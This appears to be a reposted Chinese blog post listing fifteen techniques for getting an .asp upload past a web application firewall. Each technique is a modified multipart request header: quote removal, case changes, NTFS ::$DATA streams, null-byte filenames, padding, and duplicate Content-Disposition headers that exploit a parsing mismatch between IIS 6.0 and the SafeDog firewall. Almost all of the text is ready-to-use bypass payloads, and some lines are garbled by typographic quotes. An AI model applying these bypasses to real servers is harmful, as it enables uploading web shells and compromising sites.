文件上传过waf的方法

原文链接: https://www.cesafe.com/8411.html

原始请求包:

——WebKitFormBoundary2smpsxFB3D0KbA7D
Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp” 
Content-Type: text/html 

方法1,文件名前缀加[0x09]绕过: 

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: form-data; name=”filepath”; filename=”[0x09]cesafe.asp” 
Content-Type: text/html 

方法2,文件名去掉双引号绕过:

 ——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: form-data; name=”filepath”; filename=cesafe.asp 
Content-Type: text/html 

方法3,添加一个filename1的文件名参数,并赋值绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: form-data; name=”filepath”; filename=”cesafe.asp”;filename1=”test.jpg” 
Content-Type: text/html 

方法4,form变量改成f+orm组合绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: f+orm-data; name=”filepath”;filename=”cesafe.asp” 
Content-Type: text/html 

方法5,文件名后缀大小写绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.Asp” 
Content-Type: text/html 

方法6,去掉form-data变量绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D
 ConTent-Disposition: name=”filepath”; filename=”cesafe.asp”
 Content-Type: text/html 

方法7,Content-Disposition:后添加多个空格 或者在form-data;后添加多个空格绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
ConTent-Disposition: form-data      ; name=”filepath”; filename=“cesafe.asp” 
Content-Type: text/html 

方法8,cesafe.asp . (空格+.)绕过:

 ——WebKitFormBoundary2smpsxFB3D0KbA7D
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp .” 
Content-Type: text/html 

方法9,“回车换行,绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp ” 
Content-Type: text/html 

方法10,NTFS流 在文件名后加::$DATA绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA” Content-Type: text/html 
OR 
——WebKitFormBoundary2smpsxFB3D0KbA7D 
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp::$DATA\0x00\fuck.asp0x00.jpg” 
Content-Type: text/html 

方法11,经过对IIS 6.0的测试发现,其总是采用第一个Content-Disposition中的值做为接收参数,而安全狗总是以最后一个Content-Disposition中的值做为接收参数。因此尝试构造如下请求[上传cesafe.asp成功]:

Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp” —————————–15377259221471 
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.txt” 
Content-Type: application/octet-stream 
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp” 
Content-Disposition: form-data; name=”FileUploadName”; filename=”cesafe.asp” 

方法12,将Content-Type和ConTent-Disposition调换顺序位置绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Type: text/html 
ConTent-Disposition: form-data; name=”filepath”; filename=”cesafe.asp” 

方法13,在文件名前缀加空格(tab键可替换)绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: form-data; name=”filepath”; filename=    “cesafe.asp” 
Content-Type: text/html 

方法14,在form-data前加空格绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: form-data;name=”uploaded”; filename=”cesafe.asp” 
Content-Type: text/html 

方法15,form-data的前或后加上+绕过:

——WebKitFormBoundary2smpsxFB3D0KbA7D 
Content-Disposition: +form-data; name=”filepath”; filename=”cesafe.asp” 
Content-Type: text/html 

 

参考:https://www.cesafe.com/8411.html

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转载自www.cnblogs.com/-chenxs/p/11510895.html